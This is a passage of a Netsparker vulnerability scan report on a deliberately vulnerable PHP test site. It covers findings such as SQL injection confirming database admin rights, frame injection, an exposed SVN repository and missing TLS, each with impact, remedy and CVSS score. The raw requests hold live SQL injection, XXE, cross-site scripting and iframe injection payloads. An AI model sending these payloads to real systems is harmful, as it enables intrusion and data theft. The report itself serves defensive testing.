Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
User-Agent: (select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)
X-Scanner: Netsparker

Response

Response Time (ms) : 306.0468
Total Bytes Received : 3521
Body Length : 3162
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=4
Content-Length: 3162
Connection: Keep-Alive
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:06:30 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check

Enter your credentials (admin / admin123456)
<br/>
<form method="POST" action="control.php">
Username: <input type="text" name="username"/>
<br/>
Password:&nbsp;&nbsp;<input type="password" name="password"/password" name="password"/>
<!-- Test credentials -->
<!-- Password: admin123456 -->
<br/>
<input type="hidden" name="token" value="23577">
<br/>
<input type="submit" value="SUBMIT"

6.2. http://php.testsparker.com/auth/control.php
CONFIRMED
CONFIRMED
MethodParameterValue
POSTusername%27
POSTtoken30556
POSTpassword

Input Name

  • password

Form target action

  • control.php
Go to the highlighted output

Request

POST /auth/control.php HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
Referer: http://php.testsparker.com/auth/login.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

username=%2527&token=30556&password=

Response

Response Time (ms) : 564.578
Total Bytes Received : 3522
Body Length : 3162
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=27
Content-Length: 3162
Connection: Keep-Alive
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:07:58 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check

Enter your credentials (admin / admin123456)
<br/>
<form method="POST" action="control.php">
Username: <input type="text" name="username"/>
<br/>
Password:&nbsp;&nbsp;<input type="password" name="password"/password" name="password"/>
<!-- Test credentials -->
<!-- Password: admin123456 -->
<br/>
<input type="hidden" name="token" value="26775">
<br/>
<input type="submit" value="SUBMIT"

6.3. http://php.testsparker.com/auth/control.php
CONFIRMED
CONFIRMED
MethodParameterValue
GETUser-Agent(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)

Input Name

  • password

Form target action

  • control.php
Go to the highlighted output

Request

GET /auth/control.php HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
Referer: http://php.testsparker.com/auth/login.php
User-Agent: (select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)
X-Scanner: Netsparker

Response

Response Time (ms) : 305.4569
Total Bytes Received : 3522
Body Length : 3162
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=40
Content-Length: 3162
Connection: Keep-Alive
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:08:16 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check

Enter your credentials (admin / admin123456)
<br/>
<form method="POST" action="control.php">
Username: <input type="text" name="username"/>
<br/>
Password:&nbsp;&nbsp;<input type="password" name="password"/password" name="password"/>
<!-- Test credentials -->
<!-- Password: admin123456 -->
<br/>
<input type="hidden" name="token" value="18806">
<br/>
<input type="submit" value="SUBMIT"

6.4. http://php.testsparker.com/auth/login.php
CONFIRMED
CONFIRMED

Input Name

  • password

Form target action

  • http://php.testsparker.com/auth/control.php
Go to the highlighted output

Request

GET /auth/login.php HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Referer: http://php.testsparker.com/auth/
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 3765.1264
Total Bytes Received : 3530
Body Length : 3161
Is Compressed : No
HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7; path=/
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Content-Length: 3161
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:04:56 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check

Enter your credentials (admin / admin123456)
<br/>
<form method="POST" action="control.php">
Username: <input type="text" name="username"/>
<br/>
Password:&nbsp;&nbsp;<input type="password" name="password"/>
<!-- Test credentials -->
<!-- Password: admin123456 -->
<br/>
<input type="hidden" name="token" value="2544">
<br/>
<input type="submit" value="SUBMIT">
</form>


6.5. http://php.testsparker.com/auth/login.php
CONFIRMED
CONFIRMED

Input Name

  • password

Form target action

  • control.php
Go to the highlighted output

Request

POST /auth/login.php HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Content-Length: 124
Content-Type: application/xml
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
Referer: http://php.testsparker.com/auth/
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "data:;base64,TlM3NzU0NTYxNDQ2NTc1">]><ns>&lfi;</ns>

Response

Response Time (ms) : 467.5789
Total Bytes Received : 3522
Body Length : 3162
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=99
Content-Length: 3162
Connection: Keep-Alive
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:06:50 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check

Enter your credentials (admin / admin123456)
<br/>
<form method="POST" action="control.php">
Username: <input type="text" name="username"/>
<br/>
Password:&nbsp;&nbsp;<input type="password" name="password"/password" name="password"/>
<!-- Test credentials -->
<!-- Password: admin123456 -->
<br/>
<input type="hidden" name="token" value="14285">
<br/>
<input type="submit" value="SUBMIT"

6.6. http://php.testsparker.com/auth/login.php/'%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x000CA2)%3C/scRipt%3E
CONFIRMED
CONFIRMED
MethodParameterValue
GETURI-BASED/'"--></style></scRipt><scRipt>netsparker(0x000CA2)</scRipt>

Input Name

  • password

Form target action

  • control.php
Go to the highlighted output

Request

GET /auth/login.php/'%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x000CA2)%3C/scRipt%3E HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
Referer: http://php.testsparker.com/auth/
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 129.1733
Total Bytes Received : 3521
Body Length : 3161
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=47
Content-Length: 3161
Connection: Keep-Alive
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:06:57 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check

Enter your credentials (admin / admin123456)
<br/>
<form method="POST" action="control.php">
Username: <input type="text" name="username"/>
<br/>
Password:&nbsp;&nbsp;<input type="password" name="password"/password" name="password"/>
<!-- Test credentials -->
<!-- Password: admin123456 -->
<br/>
<input type="hidden" name="token" value="2117">
<br/>
<input type="submit" value="SUBMIT">

Actions to Take

  1. See the remedy for solution.
  2. Move all of your critical forms and pages to HTTPS and do not serve them over HTTP.

Remedy

All sensitive data should be transferred over HTTPS rather than HTTP. Forms should be served over HTTPS. All aspects of the application that accept user input, starting from the login process, should only be served over HTTPS.

CLASSIFICATION

WASC4

CVSS 3.0 SCORE

Base5.7 (Medium)
Temporal5.7 (Medium)
Environmental5.7 (Medium)

CVSS Vector String

CVSS:3.0/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

CVSS 3.1 SCORE

Base5.7 (Medium)
Temporal5.7 (Medium)
Environmental5.7 (Medium)

CVSS Vector String

CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

7. SVN Detected

HIGH
1

Netsparker discovered an SVN repository file.

Impact

SVN repository files can disclose SVN addresses, SVN usernames, and date information. While disclosures of this type do not provide chances of direct attack, they can be useful for an attacker when combined with other vulnerabilities or during the exploitation of some other vulnerabilities.

Vulnerabilities

7.1. http://php.testsparker.com/.svn/all-wcprops
MethodParameterValue
GETURI-BASED.svn/all-wcprops

Certainty



Go to the highlighted output

Request

GET /.svn/all-wcprops HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 126.9409
Total Bytes Received : 1448
Body Length : 1193
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
Content-Length: 1193
Last-Modified: Tue, 11 Feb 2020 14:14:32 GMT
Accept-Ranges: bytes
Content-Type: text/plain
Date: Mon, 13 Jul 2020 07:04:59 GMT
ETag: "11f000000013070-4a9-59e4d798bb311"

K 25
svn:
wc:ra_dav:version-url
V 53
/svn/msl_testbed/!svn/ver/445/testscript/Testsite-PHP
END
nslookup.php
K 25
svn:
wc:ra_dav:version-url
V 66
/svn/msl_testbed/!svn/ver/445/testscript/Testsite-PHP/nslookup.php
END
page.php
K 25
svn:
wc:ra_dav:version-url
V 62
/svn/msl_testbed/!svn/ver/445/testscript/Testsite-PHP/page.php
END
process.php
K 25
svn:
wc:ra_dav:version-url
V 65
/svn/msl_testbed/!svn/ver/445/testscript/Testsite-PHP/process.php
END
style.css
K 25
svn:
wc:ra_dav:version-url
V 63
/svn/msl_testbed/!svn/ver/445/testscript/Testsite-PHP/style.css
END
hello.php
K 25
svn:
wc:ra_dav:version-url
V 63
/svn/msl_testbed/!svn/ver/445/testscript/Testsite-PHP/hello.php
END
products.php
K 25
svn:
wc:ra_dav:version-url
V 66
/svn/msl_testbed/!svn/ver/445/testscript/Testsite-PHP/products.php
END
conf.php
K 25
svn:
wc:ra_dav:version-url
V 62
/svn/msl_testbed/!svn/ver/445/testscript/Testsite-PHP/conf.php
END
artist.php
K 25
svn:
wc:ra_dav:version-url
V 64
/svn/msl_testbed/!svn/ver/445/testscript/Testsite-PHP/artist.php
END
index.php
K 25
svn:
wc:ra_dav:version-url
V 63
/svn/msl_testbed/!svn/ver/445/testscript/Testsite-PHP/index.php
END

Remedy

Do not leave SVN repository files on production environments. If there is a business requirement to do so, implement access control mechanisms to stop public access to SVN repository files.

You can also use Exportif you do one time deployments, instead of a checkout.

CLASSIFICATION

WASC13

CVSS 3.0 SCORE

Base5.3 (Medium)
Temporal5.3 (Medium)
Environmental5.3 (Medium)

CVSS Vector String

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CVSS 3.1 SCORE

Base5.3 (Medium)
Temporal5.3 (Medium)
Environmental5.3 (Medium)

CVSS Vector String

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

8. Database User Has Admin Privileges

HIGH
1
CONFIRMED
1

Netsparker detected the Database User Has Admin Privileges.

This issue has been confirmedby checking the connection privileges via an identified SQL injection vulnerability in the application.

Impact

This can allow an attacker to gain extra privileges via SQL injection attacks. Here is the list of attacks that the attacker might carry out:
  • Gain full access to the database server.
  • Gain a reverse shell to the database server and execute commands on the underlying operating system.
  • Access the database with full permissions, where it may be possible to read, update or delete arbitrary data from the database.
  • Depending on the platform and the database system user, an attacker might carry out a privilege escalation attack to gain administrator access to the target system.

Vulnerabilities

8.1. http://php.testsparker.com/artist.php?id=-1%20OR%2017-7%3d10
CONFIRMED
CONFIRMED
MethodParameterValue
GETid-1 OR 17-7=10
Go to the highlighted output

Request

GET /artist.php?id=-1%20OR%2017-7%3d10 HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 306.8119
Total Bytes Received : 26895
Body Length : 26666
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Connection: Keep-Alive
Keep-Alive: timeout=5, max=37
Content-Type: text/html
Transfer-Encoding: chunked
Date: Mon, 13 Jul 2020 07:06:31 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site - PHP</title>
<link href="/style.css" rel="stylesheet" type="text/css" media="screen" />
</head><link type="text/css" href="/Generics/style.css" rel="stylesheet"/>
<body>
<div id="wrapper">

<div id="menu">
<ul>
<li><a href="/process.php?file=Generics/index.nsp">Home</a></li>
<li><a href="/hello.php?name=Visitor">Hello</a></li>
<li><a href="/products.php?pro=url">Products</a></li>
<li><a href="/process.php?file=Generics/about.nsp">About</a></li>
<li><a href="/process.php?file=Generics/contact.nsp">Contact</a></li>
<li><a href="/auth/">Login</a></li>
</ul>
</div>
<!-- end #menu -->
<div id="header">

</div>
<!-- end #header --> <div id="page">
<div id="page-bgtop">
<div id="page-bgbtm">
<div id="content">
<div class="post">
<h2 class="title"><a href="artist.php#">Artist Service</a></h2>

<div style="clear: both;">&nbsp;</div>
<div class="entry">
<p>

<h3>Results: -1 OR 17-7=10</h3></br>

<table class="container"><thead><th>ID</th><th>Name</th><th>SURNAME</th><th>CREATION DATE </th></thead><tbody><tr class="odd">
<td>2 </td>
<td>NICK </td>
<td>WAHLBERG </td>
<td>2006-02-15 04:34:33 </td>
<td> </td>
</tr>
<tr class="even">
<td>3 </td>
<td>ED </td>
<td>CHASE </td>
<td>2006-02-15 04:34:33 </td>
<td> </td>
</tr>
<tr class="odd">
<td>4 </td>
<td>JENNIFER </td>
<td>DAVIS </td>
<td>2006-02-15 04:34:

Remedy

Create a database user with the least possible permissions for your application and connect to the database with that user. Always follow the principle of providing the least privileges for all users and applications.

External References

CLASSIFICATION

WASC14

CVSS 3.0 SCORE

Base9 (Critical)
Temporal9 (Critical)
Environmental9 (Critical)

CVSS Vector String

CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

CVSS 3.1 SCORE

Base9 (Critical)
Temporal9 (Critical)
Environmental9.1 (Critical)

CVSS Vector String

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

9. Frame Injection

MEDIUM
2
CONFIRMED
2

Netsparker detected Frame Injection, which occurs when a frame on a vulnerable web page displays another web page via a user-controllable input.

Impact

An attacker might use this vulnerability to redirect users to other malicious websites that are used for phishing and similar attacks. Additionally they might place a fake login form in the frame, which can be used to steal credentials from your users.

It should be noted that attackers can also abuse injected frames in order to circumvent certain client side security mechanisms. Developers might overwrite functions to make it harder for attackers to abuse a vulnerability.

If an attacker uses a javascript: URL as src attribute of an iframe, the malicious JavaScript code is executed under the origin of the vulnerable website. However, it has access to a fresh window object without any overwritten functions.

Vulnerabilities

9.1. http://php.testsparker.com/artist.php?id=%3ciframe%20src%3d%22http%3a%2f%2fr87.com%2f%3f%22%3e%3c%2fiframe%3e
CONFIRMED
CONFIRMED
MethodParameterValue
GETid<iframe src="http://r87.com/?"></iframe>
Go to the highlighted output

Request

GET /artist.php?id=%3ciframe%20src%3d%22http%3a%2f%2fr87.com%2f%3f%22%3e%3c%2fiframe%3e HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 174.7099
Total Bytes Received : 3200
Body Length : 2977
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Connection: Keep-Alive
Keep-Alive: timeout=5, max=14
Content-Length: 2977
Content-Type: text/html
Date: Mon, 13 Jul 20

class="post">
<h2 class="title"><a href="artist.php#">Artist Service</a></h2>

<div style="clear: both;">&nbsp;</div>
<div class="entry">
<p>

<h3>Results: <iframe src="http://r87.com/?"></iframe></h3></br>

no rows returned
</p>

</div>
</div>
<div style="clear: both;">&nbsp;</div>
</div>
<!-- end #content -->

<div id="sidebar">
<ul>


9.2. http://php.testsparker.com/hello.php?name=%3ciframe%20src%3d%22http%3a%2f%2fr87.com%2f%3f%22%3e%3c%2fiframe%3e
CONFIRMED
CONFIRMED
MethodParameterValue
GETname<iframe src="http://r87.com/?"></iframe>
Go to the highlighted output

Request

GET /hello.php?name=%3ciframe%20src%3d%22http%3a%2f%2fr87.com%2f%3f%22%3e%3c%2fiframe%3e HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
Referer: http://php.testsparker.com/process.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 137.6223
Total Bytes Received : 3194
Body Length : 3026
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 3026
Content-Type: text/html
Date: Mon, 13 Jul 20

h1>
<p>
Hello Visitor<br />
<b>Parse error</b>: syntax error, unexpected T_STRING in <b>C:\AppServ\www\hello.php(24) : eval()'d code</b> on line <b>1</b><br />
20$str = 20 <iframe src="http://r87.com/?"></iframe>;20 </p>

<div style="clear: both;">&nbsp;</div>
<div class="entry">


</div>
</div>
<div style="clear: both;">&nbsp;</div>
</div>
<!-- end #content -

Remedy

  • Where possible do not use users' input for URLs.
  • If you definitely need dynamic URLs, make a list of valid accepted URLs and do not accept other URLs.
  • Ensure that you only accept URLs which are located on accepted domains.
  • Use CSP to whitelist iframe source URLs explicitly.

External References

CLASSIFICATION

WASC38

CVSS 3.0 SCORE

Base4.7 (Medium)
Temporal4.7 (Medium)
Environmental4.7 (Medium)

CVSS Vector String

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N

CVSS 3.1 SCORE

Base4.7 (Medium)
Temporal4.7 (Medium)
Environmental4.7 (Medium)

CVSS Vector String

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N

10. SSL/TLS Not Implemented

MEDIUM
1

Netsparker detected that SSL/TLS is not implemented.

Impact

An attacker who is able to intercept your - or your users' - network traffic can read and modify any messages that are exchanged with your server.

That means that an attacker can see passwords in clear text, modify the appearance of your website, redirect the user to other web pages or steal session information.

Therefore no message you send to the server remains confidential.

Vulnerabilities

10.1. https://php.testsparker.com/

Certainty



Go to the highlighted output

Request

[NETSPARKER] SSL Connection

Response

Response Time (ms) : 1
Total Bytes Received : 27
Body Length : 0
Is Compressed : No
[NETSPARKER] SSL Connection

Remedy

We suggest that you implement SSL/TLS properly, for example by using the Certbot toolprovided by the Let's Encrypt certificate authority. It can automatically configure most modern web servers, e.g. Apache and Nginx to use SSL/TLS. Both the tool and the certificates are free and are usually installed within minutes.

CLASSIFICATION

WASC4

CVSS 3.0 SCORE

Base6.8 (Medium)
Temporal6.1 (Medium)
Environmental6.1 (Medium)

CVSS Vector String

CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N/E:P/RL:O/RC:C

CVSS 3.1 SCORE

Base6.8 (Medium)
Temporal6.1 (Medium)
Environmental6.1 (Medium)

CVSS Vector String

CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N/E:P/RL:O/RC:C

11. Internal Server Error

LOW
1
CONFIRMED
1

Netsparker identified an internal server error.

The server responded with an HTTP status 500, indicating there is a server-side error. Reasons may vary, and the behavior should be analyzed carefully. If Netsparker is able to find a security issue in the same resource, it will report this as a separate vulnerability.

Impact

The impact may vary depending on the condition. Generally this indicates poor coding practices, not enough error checking, sanitization and whitelisting. However, there might be a bigger issue, such as SQL injection. If that's the case, Netsparker will check for other possible issues and report them separately.

Vulnerabilities

11.1. http://php.testsparker.com/artist.php?id=%25%7b%23context%5b%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%5d.addHeader(%22a%22%2c268409241-80963)%7d
CONFIRMED
CONFIRMED
MethodParameterValue
GETid%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("a",268409241-80963)}
Go to the highlighted output

Request

GET /artist.php?id=%25%7b%23context%5b%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%5d.addHeader(%22a%22%2c268409241-80963)%7d HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 196.7573
Total Bytes Received : 1526
Body Length : 1320
Is Compressed : No
HTTP/1.0 500 Internal Server Error

Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Connection: close
Content-Length: 1320
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:06:26 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site - PHP</title>
<link href="/style.css" rel="stylesheet" type="text/css" media="screen" />
</head><link type="text/css" href="/Generics/style.css" rel="stylesheet"/>
<body>
<div id="wrapper">

<div id="menu">
<ul>
<li><a href="/process.php?file=Generics/index.nsp">Home</a></li>
<li><a href="/hello.php?name=Visitor">Hello</a></li>
<li><a href="/products.php?pro=url">Products</a></li>
<li><a href="/process.php?file=Generics/about.nsp">About</a></li>
<li><a href="/process.php?file=Generics/contact.nsp">Contact</a></li>
<li><a href="/auth/">Login</a></li>
</ul>
</div>
<!-- end #menu -->
<div id="header">

</div>
<!-- end #header --> <div id="page">
<div id="page-bgtop">
<div id="page-bgbtm">
<div id="content">
<div class="post">
<h2 class="title"><a href="artist.php#">Artist Service</a></h2>

<div style="clear: both;">&nbsp;</div>
<div class="entry">
<p>

Remedy

Analyze this issue and review the application code in order to handle unexpected errors; this should be a generic practice, which does not disclose further information upon an error. All errors should be handled server-side only.

CLASSIFICATION

WASC13

12. Cookie Not Marked as HttpOnly

LOW
1
CONFIRMED
1

Netsparker identified a cookie not marked as HTTPOnly.

HTTPOnly cookies cannot be read by client-side scripts, therefore marking a cookie as HTTPOnly can provide an additional layer of protection against cross-site scripting attacks.

Impact

During a cross-site scripting attack, an attacker might easily access cookies and hijack the victim's session.

Vulnerabilities

12.1. http://php.testsparker.com/auth/login.php
CONFIRMED
CONFIRMED

Identified Cookie(s)

Cookie Source

Go to the highlighted output

Request

GET /auth/login.php HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Referer: http://php.testsparker.com/auth/
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 3765.1264
Total Bytes Received : 3530
Body Length : 3161
Is Compressed : No
HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7; path=/
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Content-Length: 3161
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:04:56 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-checkHTTP/1.1 200 OK
Set-Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7; path=/

Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Content-Length: 3161
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:04:

Actions to Take

  1. See the remedy for solution.
  2. Consider marking all of the cookies used by the application as HTTPOnly. (After these changes javascript code will not be able to read cookies.)

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defense against XSS. However this is not a silver bullet and will not protect the system against cross-site scripting attacks. An attacker can use a tool such as XSS Tunnelto bypass HTTPOnly protection.

External References

CLASSIFICATION

WASC15

13. [Possible] Cross-site Request Forgery

LOW
2

Netsparker identified a possible Cross-Site Request Forgery.

CSRF is a very common vulnerability. It's an attack which forces a user to execute unwanted actions on a web application in which the user is currently authenticated.

Impact

Depending on the application, an attacker can mount any of the actions that can be done by the user such as adding a user, modifying content, deleting data. All the functionality that’s available to the victim can be used by the attacker. Only exception to this rule is a page that requires extra information that only the legitimate user can know (such as user’s password).

Vulnerabilities

13.1. http://php.testsparker.com/nslookup.php

Form Action(s)

  • /nslookup.php

Certainty



Go to the highlighted output

Request

GET /nslookup.php HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 131.3506
Total Bytes Received : 4122
Body Length : 3954
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 3954
Content-Type: text/html
